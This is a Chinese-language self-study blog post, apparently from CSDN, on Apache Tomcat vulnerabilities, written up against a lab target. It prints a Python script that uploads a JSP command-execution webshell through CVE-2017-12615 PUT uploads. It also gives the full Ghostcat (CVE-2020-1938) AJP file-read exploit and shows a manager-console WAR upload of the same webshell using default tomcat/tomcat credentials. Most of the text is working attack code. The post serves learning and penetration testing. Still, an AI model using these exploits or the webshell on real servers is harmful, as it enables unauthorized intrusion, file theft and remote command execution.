网络安全自学篇-中间件漏洞(六)

一个网络安全学习爱好者在学习过程中记录下的笔记,希望在CSDN能和大家一起成长,学习,分享,进步,下面分享的是中间件漏洞系列,希望对入门网安的朋友们有所帮助,大神有兴趣看看即可,勿喷感谢,同时也欢迎各位师傅私聊交流学习。文章有所参考,也感谢教授我网安知识的师父们,感谢出生在这个互联网时代,知识触手可及。
中间件漏洞系列目录
网络安全自学篇-中间件漏洞(一)
网络安全自学篇-中间件漏洞(二)
网络安全自学篇-中间件漏洞(三)
网络安全自学篇-中间件漏洞(四)
网络安全自学篇-中间件漏洞(五)

Tomcat任意文件上传漏洞CVE-2017-12615

Tomcat安装目录下的配置文件web.xml中的org.apache.servlets.DefaultServlet方法下有该代码则表示Tomcat已经开启可PUT方法(readonly=false),导致我们可以往服务器写文件:

<init-param>
	<param-name>	
		readonly//只读属性
	</param-name>
	<param-value>
		false//关闭
	</param-value> 
</init-param>

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因此我们可以通过PUT方式上传木马
同时如果要防御该类漏洞将false改为true即可,即不允许DELETE和PUT操作
查看Tomcat版本知道存在远程代码执行
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直接使用curl命令进行PUT上传

curl -XPUT http://192.168.42.128:8080/1.jsp/ --data "jadore"

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利用这点可以写入jspwebshell
附上python检测脚本:

import requests
import sys
import time

'''
    Usage:
        python3 exp.py ipaddress
        Webshell: http://192.168.42.128:8080/2.jsp?pwd=a&cmd=whoami
'''
def PutRequest(url):
	user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
	headers={
    
    "User-Agent":user_agent}
	data="""
            <%
                if("a".equals(request.getParameter("pwd"))){
                    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
                    int a = -1;
                    byte[] b = new byte[2048];
                    out.print("<pre>");
                    while((a=in.read(b))!=-1){
                        out.println(new String(b));
                    }
                    out.print("</pre>");
                }
            %>
        """
	try:
		requests.put(url, data=data, headers=headers)
		time.sleep(2)
		response = requests.get(url[:-1], headers=headers)
		if response.status_code == 200:
			print('vul exist!')
		else :
			print(verify_response.status_code)
	except :
		print("vul no exist!")
if __name__ == '__main__':
	target = sys.argv[1] + '/2.jsp/'
	PutRequest(target)
	print('Webshell: ' + target[:-1])

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Tomcat AJP 文件包含漏洞CVE-2020-1938

Ghostcat(幽灵猫) 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
Tomcat AJP Connector
Tomcat Connector 是 Tomcat 与外部连接的通道,它使得 Catalina 能够接收来自外部的请求,传递给对应的 Web 应用程序处理,并返回请求的响应结果。

默认情况下,Tomcat 配置了两个 Connector,它们分别是 HTTP Connector 和 AJP Connector:
HTTP Connector:用于处理 HTTP 协议的请求(HTTP/1.1),默认监听地址为 0.0.0.0:8080 AJP Connector:用于处理 AJP 协议的请求(AJP/1.3),默认监听地址为 0.0.0.0:8009
HTTP Connector 就是用来提供我们经常用到的 HTTP Web 服务。而 AJP Connector,它使用的是 AJP 协议(Apache Jserv Protocol),AJP 协议可以理解为 HTTP 协议的二进制性能优化版本,它能降低 HTTP 请求的处理成本,因此主要在需要集群、反向代理的场景被使用。
查看8009端口是否开启,即AJP服务
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验证漏洞存在可以使用xray:https://github.com/chaitin/xray
附上检测EXP:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
命令:python3 CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f WEB-INF/web.xml

#!/usr/bin/env python
#CNVD-2020-10487  Tomcat-Ajp lfi
#by ydhcui
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
	if s is None:
		return struct.pack(">h", -1)
	l = len(s)
	return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
	size = struct.calcsize(fmt)
	buf = stream.read(size)
	return struct.unpack(fmt, buf)
def unpack_string(stream):
	size, = unpack(stream, ">h")
	if size == -1: # null string
		return None
	res, = unpack(stream, "%ds" % size)
	stream.read(1) # \0
	return res
class NotFoundException(Exception):
	pass
class AjpBodyRequest(object):
	# server == web server, container == servlet
	SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
	MAX_REQUEST_LENGTH = 8186
	def __init__(self, data_stream, data_len, data_direction=None):
		self.data_stream = data_stream
		self.data_len = data_len
		self.data_direction = data_direction
	def serialize(self):
		data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
		if len(data) == 0:
			return struct.pack(">bbH", 0x12, 0x34, 0x00)
		else:
			res = struct.pack(">H", len(data))
			res += data
		if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
			header = struct.pack(">bbH", 0x12, 0x34, len(res))
		else:
			header = struct.pack(">bbH", 0x41, 0x42, len(res))
		return header + res
	def send_and_receive(self, socket, stream):
		while True:
			data = self.serialize()
			socket.send(data)
			r = AjpResponse.receive(stream)
			while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
				r = AjpResponse.receive(stream)

			if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
				break
class AjpForwardRequest(object):
	_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
	REQUEST_METHODS = {
    
    'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
	# server == web server, container == servlet
	SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
	COMMON_HEADERS = ["SC_REQ_ACCEPT",
		"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
		"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
		"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
	]
	ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
	def __init__(self, data_direction=None):
		self.prefix_code = 0x02
		self.method = None
		self.protocol = None
		self.req_uri = None
		self.remote_addr = None
		self.remote_host = None
		self.server_name = None
		self.server_port = None
		self.is_ssl = None
		self.num_headers = None
		self.request_headers = None
		self.attributes = None
		self.data_direction = data_direction
	def pack_headers(self):
		self.num_headers = len(self.request_headers)
		res = ""
		res = struct.pack(">h", self.num_headers)
		for h_name in self.request_headers:
			if h_name.startswith("SC_REQ"):
				code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
				res += struct.pack("BB", 0xA0, code)
			else:
				res += pack_string(h_name)

			res += pack_string(self.request_headers[h_name])
		return res

	def pack_attributes(self):
		res = b""
		for attr in self.attributes:
			a_name = attr['name']
			code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
			res += struct.pack("b", code)
			if a_name == "req_attribute":
				aa_name, a_value = attr['value']
				res += pack_string(aa_name)
				res += pack_string(a_value)
			else:
				res += pack_string(attr['value'])
		res += struct.pack("B", 0xFF)
		return res
	def serialize(self):
		res = ""
		res = struct.pack("bb", self.prefix_code, self.method)
		res += pack_string(self.protocol)
		res += pack_string(self.req_uri)
		res += pack_string(self.remote_addr)
		res += pack_string(self.remote_host)
		res += pack_string(self.server_name)
		res += struct.pack(">h", self.server_port)
		res += struct.pack("?", self.is_ssl)
		res += self.pack_headers()
		res += self.pack_attributes()
		if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
			header = struct.pack(">bbh", 0x12, 0x34, len(res))
		else:
			header = struct.pack(">bbh", 0x41, 0x42, len(res))
		return header + res
	def parse(self, raw_packet):
		stream = StringIO(raw_packet)
		self.magic1, self.magic2, data_len = unpack(stream, "bbH")
		self.prefix_code, self.method = unpack(stream, "bb")
		self.protocol = unpack_string(stream)
		self.req_uri = unpack_string(stream)
		self.remote_addr = unpack_string(stream)
		self.remote_host = unpack_string(stream)
		self.server_name = unpack_string(stream)
		self.server_port = unpack(stream, ">h")
		self.is_ssl = unpack(stream, "?")
		self.num_headers, = unpack(stream, ">H")
		self.request_headers = {
    
    }
		for i in range(self.num_headers):
			code, = unpack(stream, ">H")
			if code > 0xA000:
				h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
			else:
				h_name = unpack(stream, "%ds" % code)
				stream.read(1) # \0
			h_value = unpack_string(stream)
			self.request_headers[h_name] = h_value
	def send_and_receive(self, socket, stream, save_cookies=False):
		res = []
		i = socket.sendall(self.serialize())
		if self.method == AjpForwardRequest.POST:
			return res

		r = AjpResponse.receive(stream)
		assert r.prefix_code == AjpResponse.SEND_HEADERS
		res.append(r)
		if save_cookies and 'Set-Cookie' in r.response_headers:
			self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

		# read body chunks and end response packets
		while True:
			r = AjpResponse.receive(stream)
			res.append(r)
			if r.prefix_code == AjpResponse.END_RESPONSE:
				break
			elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
				continue
			else:
				raise NotImplementedError
				break

		return res

class AjpResponse(object):
	_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
	COMMON_SEND_HEADERS = [
			"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
			"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
			]
	def parse(self, stream):
		# read headers
		self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

		if self.prefix_code == AjpResponse.SEND_HEADERS:
			self.parse_send_headers(stream)
		elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
			self.parse_send_body_chunk(stream)
		elif self.prefix_code == AjpResponse.END_RESPONSE:
			self.parse_end_response(stream)
		elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
			self.parse_get_body_chunk(stream)
		else:
			raise NotImplementedError

	def parse_send_headers(self, stream):
		self.http_status_code, = unpack(stream, ">H")
		self.http_status_msg = unpack_string(stream)
		self.num_headers, = unpack(stream, ">H")
		self.response_headers = {
    
    }
		for i in range(self.num_headers):
			code, = unpack(stream, ">H")
			if code <= 0xA000: # custom header
				h_name, = unpack(stream, "%ds" % code)
				stream.read(1) # \0
				h_value = unpack_string(stream)
			else:
				h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
				h_value = unpack_string(stream)
			self.response_headers[h_name] = h_value

	def parse_send_body_chunk(self, stream):
		self.data_length, = unpack(stream, ">H")
		self.data = stream.read(self.data_length+1)

	def parse_end_response(self, stream):
		self.reuse, = unpack(stream, "b")

	def parse_get_body_chunk(self, stream):
		rlen, = unpack(stream, ">H")
		return rlen

	@staticmethod
	def receive(stream):
		r = AjpResponse()
		r.parse(stream)
		return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
	fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
	fr.method = method
	fr.protocol = "HTTP/1.1"
	fr.req_uri = req_uri
	fr.remote_addr = target_host
	fr.remote_host = None
	fr.server_name = target_host
	fr.server_port = 80
	fr.request_headers = {
    
    
		'SC_REQ_ACCEPT': 'text/html',
		'SC_REQ_CONNECTION': 'keep-alive',
		'SC_REQ_CONTENT_LENGTH': '0',
		'SC_REQ_HOST': target_host,
		'SC_REQ_USER_AGENT': 'Mozilla',
		'Accept-Encoding': 'gzip, deflate, sdch',
		'Accept-Language': 'en-US,en;q=0.5',
		'Upgrade-Insecure-Requests': '1',
		'Cache-Control': 'max-age=0'
	}
	fr.is_ssl = False
	fr.attributes = []
	return fr

class Tomcat(object):
	def __init__(self, target_host, target_port):
		self.target_host = target_host
		self.target_port = target_port

		self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
		self.socket.connect((target_host, target_port))
		self.stream = self.socket.makefile("rb", bufsize=0)

	def perform_request(self, req_uri, headers={
    
    }, method='GET', user=None, password=None, attributes=[]):
		self.req_uri = req_uri
		self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
		print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
		if user is not None and password is not None:
			self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
		for h in headers:
			self.forward_request.request_headers[h] = headers[h]
		for a in attributes:
			self.forward_request.attributes.append(a)
		responses = self.forward_request.send_and_receive(self.socket, self.stream)
		if len(responses) == 0:
			return None, None
		snd_hdrs_res = responses[0]
		data_res = responses[1:-1]
		if len(data_res) == 0:
			print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
		return snd_hdrs_res, data_res

'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
    {
    
    'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
    {
    
    'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
    {
    
    'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
    ])
print('----------------------------')
print("".join([d.data for d in data]))

Tomcat8+ 弱口令 && 后台getshell漏洞

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。
Tomcat7+权限分为:
manager(后台管理)
manager-gui 拥有html页面权限
manager-status 拥有查看status的权限
manager-script 拥有text接口的权限,和status权限
manager-jmx 拥有jmx权限,和status权限
host-manager(虚拟主机管理)
admin-gui 拥有html页面权限
admin-script 拥有text接口权限

conf/tomcat-users.xml文件中配置用户的权限:
命令:
docker exec -ti tomcat8_tomcat_1 /bin/bash
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可见,用户tomcat拥有上述所有权限,密码是tomcat。
正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

访问http://192.168.42.128:8080/manager/html,tomcat-tomcat进行登录
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上传war包中1.jsp内容如下:

<%
    if("a".equals(request.getParameter("pwd"))){
    
    
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
    
    
			out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

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访问http://192.168.42.128:8080/2/1.jsp?pwd=a&cmd=whoami即可
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转载自blog.csdn.net/weixin_44047795/article/details/106932413